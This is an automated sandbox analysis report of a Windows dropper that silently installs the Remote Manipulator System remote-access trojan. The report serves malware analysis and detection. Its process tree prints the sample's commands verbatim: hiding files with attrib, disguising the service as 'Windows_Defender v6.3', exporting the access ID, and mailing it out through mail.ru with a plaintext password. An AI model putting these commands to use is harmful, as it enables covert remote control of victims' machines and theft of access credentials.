rms | 793135f920a0b239cff6880c6d9b939a5e2f26e11c063ce1b3b1f35c30e27aff

Analysis

max time kernel
147s
max time network
148s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
13-09-2024 09:51

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General

Target

de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
Size

4.5MB
MD5

de2a25f8ead1eab33b2648789c06531f
SHA1

24da52206a2b4a09ef84da764cd4550e5ffb7cec
SHA256

793135f920a0b239cff6880c6d9b939a5e2f26e11c063ce1b3b1f35c30e27aff
SHA512

63f5c043a8128bb406cc67bf5329d61f7eb21c9052deddb143badb2fd830565635e4738cce80190766a8f914ca0f3265818e3985967b3033d9668c29dd1f8ea0
SSDEEP

98304:HKF7KQF1iEaGzM038RzYf0ML2x5tTDaLclizt5CJ:HS7KQrLM/RzYI7Da4Ic

Score

10^/10

rms aspackv2 discovery evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1932	attrib.exe
1256	attrib.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x0008000000015d87-24.dat	acprotect
behavioral1/files/0x0007000000015d9a-25.dat	acprotect

ASPack v2.12-2.42 2 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x0007000000015da7-22.dat	aspack_v212_v242
behavioral1/files/0x0007000000015db1-23.dat	aspack_v212_v242

Executes dropped EXE 8 IoCs

pid	Process
2584	rutserv.exe
2724	rutserv.exe
2644	rutserv.exe
2492	rutserv.exe
1288	rfusclient.exe
1800	rfusclient.exe
2804	rfusclient.exe
2684	mailsend.exe

Loads dropped DLL 7 IoCs

pid	Process
2312	cmd.exe
2312	cmd.exe
2312	cmd.exe
2492	rutserv.exe
2492	rutserv.exe
2312	cmd.exe
2312	cmd.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0008000000015d87-24.dat	upx
behavioral1/files/0x0007000000015d9a-25.dat	upx

Drops file in Program Files directory 35 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\System\regedit.reg	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\Common Files\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File created	C:\Program Files (x86)\System\install.vbs	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	reg.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\rfusclient.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	attrib.exe
File created	C:\Program Files (x86)\System\id.txt	reg.exe
File created	C:\Program Files (x86)\System\__tmp_rar_sfx_access_check_259432423	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\vp8decoder.dll	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\vp8encoder.dll	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\install.bat	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File opened for modification	C:\Program Files (x86)\System	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\rutserv.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\mailsend.exe	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	attrib.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
276	sc.exe
1608	sc.exe
1432	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mailsend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
2732	timeout.exe
868	timeout.exe
2908	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
2416	taskkill.exe
2768	taskkill.exe
2572	taskkill.exe
1052	taskkill.exe

Runs .reg file with regedit 1 IoCs

pid	Process
2684	regedit.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2584	rutserv.exe
2584	rutserv.exe
2584	rutserv.exe
2584	rutserv.exe
2724	rutserv.exe
2724	rutserv.exe
2644	rutserv.exe
2644	rutserv.exe
2492	rutserv.exe
2492	rutserv.exe
2492	rutserv.exe
2492	rutserv.exe
1288	rfusclient.exe
2684	mailsend.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
2804	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	taskkill.exe
Token: SeDebugPrivilege	2768	taskkill.exe
Token: SeDebugPrivilege	2572	taskkill.exe
Token: SeDebugPrivilege	1052	taskkill.exe
Token: SeDebugPrivilege	2584	rutserv.exe
Token: SeDebugPrivilege	2644	rutserv.exe
Token: SeTakeOwnershipPrivilege	2492	rutserv.exe
Token: SeTcbPrivilege	2492	rutserv.exe
Token: SeTcbPrivilege	2492	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2584	rutserv.exe
2724	rutserv.exe
2644	rutserv.exe
2492	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 2448	2900	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	28
PID 2900 wrote to memory of 2448	2900	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	28
PID 2900 wrote to memory of 2448	2900	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	28
PID 2900 wrote to memory of 2448	2900	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	28
PID 2900 wrote to memory of 2448	2900	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	28
PID 2900 wrote to memory of 2448	2900	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	28
PID 2900 wrote to memory of 2448	2900	de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe	28
PID 2448 wrote to memory of 2312	2448	WScript.exe	29
PID 2448 wrote to memory of 2312	2448	WScript.exe	29
PID 2448 wrote to memory of 2312	2448	WScript.exe	29
PID 2448 wrote to memory of 2312	2448	WScript.exe	29
PID 2448 wrote to memory of 2312	2448	WScript.exe	29
PID 2448 wrote to memory of 2312	2448	WScript.exe	29
PID 2448 wrote to memory of 2312	2448	WScript.exe	29
PID 2312 wrote to memory of 1932	2312	cmd.exe	31
PID 2312 wrote to memory of 1932	2312	cmd.exe	31
PID 2312 wrote to memory of 1932	2312	cmd.exe	31
PID 2312 wrote to memory of 1932	2312	cmd.exe	31
PID 2312 wrote to memory of 1932	2312	cmd.exe	31
PID 2312 wrote to memory of 1932	2312	cmd.exe	31
PID 2312 wrote to memory of 1932	2312	cmd.exe	31
PID 2312 wrote to memory of 1256	2312	cmd.exe	32
PID 2312 wrote to memory of 1256	2312	cmd.exe	32
PID 2312 wrote to memory of 1256	2312	cmd.exe	32
PID 2312 wrote to memory of 1256	2312	cmd.exe	32
PID 2312 wrote to memory of 1256	2312	cmd.exe	32
PID 2312 wrote to memory of 1256	2312	cmd.exe	32
PID 2312 wrote to memory of 1256	2312	cmd.exe	32
PID 2312 wrote to memory of 2416	2312	cmd.exe	33
PID 2312 wrote to memory of 2416	2312	cmd.exe	33
PID 2312 wrote to memory of 2416	2312	cmd.exe	33
PID 2312 wrote to memory of 2416	2312	cmd.exe	33
PID 2312 wrote to memory of 2416	2312	cmd.exe	33
PID 2312 wrote to memory of 2416	2312	cmd.exe	33
PID 2312 wrote to memory of 2416	2312	cmd.exe	33
PID 2312 wrote to memory of 2768	2312	cmd.exe	35
PID 2312 wrote to memory of 2768	2312	cmd.exe	35
PID 2312 wrote to memory of 2768	2312	cmd.exe	35
PID 2312 wrote to memory of 2768	2312	cmd.exe	35
PID 2312 wrote to memory of 2768	2312	cmd.exe	35
PID 2312 wrote to memory of 2768	2312	cmd.exe	35
PID 2312 wrote to memory of 2768	2312	cmd.exe	35
PID 2312 wrote to memory of 2572	2312	cmd.exe	36
PID 2312 wrote to memory of 2572	2312	cmd.exe	36
PID 2312 wrote to memory of 2572	2312	cmd.exe	36
PID 2312 wrote to memory of 2572	2312	cmd.exe	36
PID 2312 wrote to memory of 2572	2312	cmd.exe	36
PID 2312 wrote to memory of 2572	2312	cmd.exe	36
PID 2312 wrote to memory of 2572	2312	cmd.exe	36
PID 2312 wrote to memory of 1052	2312	cmd.exe	37
PID 2312 wrote to memory of 1052	2312	cmd.exe	37
PID 2312 wrote to memory of 1052	2312	cmd.exe	37
PID 2312 wrote to memory of 1052	2312	cmd.exe	37
PID 2312 wrote to memory of 1052	2312	cmd.exe	37
PID 2312 wrote to memory of 1052	2312	cmd.exe	37
PID 2312 wrote to memory of 1052	2312	cmd.exe	37
PID 2312 wrote to memory of 2680	2312	cmd.exe	38
PID 2312 wrote to memory of 2680	2312	cmd.exe	38
PID 2312 wrote to memory of 2680	2312	cmd.exe	38
PID 2312 wrote to memory of 2680	2312	cmd.exe	38
PID 2312 wrote to memory of 2680	2312	cmd.exe	38
PID 2312 wrote to memory of 2680	2312	cmd.exe	38
PID 2312 wrote to memory of 2680	2312	cmd.exe	38
PID 2312 wrote to memory of 2684	2312	cmd.exe	39

Views/modifies file attributes 1 TTPs 7 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2724	attrib.exe
2640	attrib.exe
2332	attrib.exe
2612	attrib.exe
1932	attrib.exe
1256	attrib.exe
2120	attrib.exe

C:\Users\Admin\AppData\Local\Temp\de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\de2a25f8ead1eab33b2648789c06531f_JaffaCakes118.exe"
1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\System\install.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Program Files (x86)\System\install.bat" "
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2312
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1932
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\*.*" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1256
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2416
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2768
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2572
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1052
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2680
  - - C:\Windows\SysWOW64\regedit.exe
      regedit /s "regedit.reg"
      4⤵
      System Location Discovery: System Language Discovery
      Runs .reg file with regedit
      PID:2684
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 2
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2732
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /silentinstall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2584
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /firewall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:2724
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /start
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2644
  - - C:\Windows\SysWOW64\sc.exe
      sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:276
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService obj= LocalSystem type= interact type= own
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1608
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService DisplayName= "Windows_Defender v6.3"
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1432
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 120
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:868
  - - C:\Windows\SysWOW64\reg.exe
      reg export "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4" "id.txt"
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:752
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 10
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2908
  - - C:\Program Files (x86)\System\mailsend.exe
      mailsend.exe -t [email protected] -attach id.txt,application/txt -sub "RMS" -smtp smtp.mail.ru -port 465 -f [email protected] -name "RMS" -ssl -auth-login -user [email protected] -pass 251103olin -q
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2684
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\regedit.reg" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2120
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\mailsend.exe" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2724
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\id.txt" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2640
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.vbs" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2332
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.bat" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2612

C:\Program Files (x86)\System\rutserv.exe
"C:\Program Files (x86)\System\rutserv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2492
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1288
- - C:\Program Files (x86)\System\rfusclient.exe
    "C:\Program Files (x86)\System\rfusclient.exe" /tray
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: SetClipboardViewer
    PID:2804
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe" /tray
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\System\id.txt

Filesize
20KB

MD5
581a65602a55ed4c996205dcba0b7e77

SHA1
94929e9ed5e4e63bcbeb76754929098deb0d75d7

SHA256
50761aafd6950b028f05c29e2f36687ace9e5aa68c5d0173ccce755b07b8aa9d

SHA512
b98303c0bf42a5e52f2a9f42ab220425c490afc7ae4615b6b50d24849ad2e9a6ad029416e6cd7e35d2564e26e27dd5946303f224bc06019d5de4e796b597a16f

Download Submit
C:\Program Files (x86)\System\install.bat

Filesize
1KB

MD5
3a00cb0db76a38b673ef3e40a250e331

SHA1
d0c2d511af06b1cf447d8ad05ca6c9e7afaf6e1e

SHA256
8f39fafe34285c8f14cbf4b851d84f13495097869cea061c05c1fcdff5c47b7f

SHA512
39a1f80fdc5566f7e5ba40e9ae245030d29fa4f9f3d6060f0cb878bd2341c47c915bda7c36aecf4382c4565326a2c6fce2742b5b86a389cf008790e0a3d5407b

Download Submit
C:\Program Files (x86)\System\install.vbs

Filesize
120B

MD5
c719a030434d3fa96d62868f27e904a6

SHA1
f2f750a752dd1fda8915a47b082af7cf2d3e3655

SHA256
2696ee4302a85c6b4101fc6d1ce8e38b94fd9c2bbd1acc73b553576b3aacb92f

SHA512
47a9367f7596d19c0636766cd34ca3701d3b1239a284f2333fd04a48422f53b0df21002fd38a4f229f6a2f9f9e8163267e13ecb24d9ce6de1863d5f59ab04ff0

Download Submit
C:\Program Files (x86)\System\mailsend.exe

Filesize
1.2MB

MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
C:\Program Files (x86)\System\regedit.reg

Filesize
12KB

MD5
251212852a073e6fc5fbe3af92f66adb

SHA1
6ee07cb20f57830325c11867e68fea49ae0e87ea

SHA256
f2c83f4cc13b0cd28090dd128ec5ff221681118f6100eddaead88526070ceecb

SHA512
f3853ece99edc6d39edbf1c7bca471e71aa034684a85358b033e50418ffa061f1e8724cba76065048901c20c9f9a6dbd86a17ee33756c0452d4d3358047296be

Download Submit
C:\Program Files (x86)\System\rfusclient.exe

Filesize
1.5MB

MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
C:\Program Files (x86)\System\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\Program Files (x86)\System\vp8decoder.dll

Filesize
155KB

MD5
88318158527985702f61d169434a4940

SHA1
3cc751ba256b5727eb0713aad6f554ff1e7bca57

SHA256
4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

SHA512
5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

Download Submit
C:\Program Files (x86)\System\vp8encoder.dll

Filesize
593KB

MD5
6298c0af3d1d563834a218a9cc9f54bd

SHA1
0185cd591e454ed072e5a5077b25c612f6849dc9

SHA256
81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

SHA512
389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

Download Submit
memory/1288-65-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1288-69-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1288-95-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1288-68-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1288-66-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1288-67-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1288-73-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-117-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-99-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-75-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-110-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-76-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-77-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-96-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-103-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-78-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-79-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1800-80-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/2312-28-0x00000000024A0000-0x0000000002B59000-memory.dmp

Filesize
6.7MB

Download
memory/2312-119-0x00000000024A0000-0x0000000002B59000-memory.dmp

Filesize
6.7MB

Download
memory/2312-120-0x00000000024A0000-0x0000000002B59000-memory.dmp

Filesize
6.7MB

Download
memory/2312-38-0x00000000024A0000-0x0000000002B59000-memory.dmp

Filesize
6.7MB

Download
memory/2312-118-0x00000000024A0000-0x0000000002B59000-memory.dmp

Filesize
6.7MB

Download
memory/2492-59-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/2492-121-0x0000000003460000-0x0000000003A16000-memory.dmp

Filesize
5.7MB

Download
memory/2492-58-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/2492-56-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/2492-70-0x0000000003460000-0x0000000003A16000-memory.dmp

Filesize
5.7MB

Download
memory/2492-57-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/2492-101-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/2492-97-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/2492-55-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/2492-94-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/2492-104-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
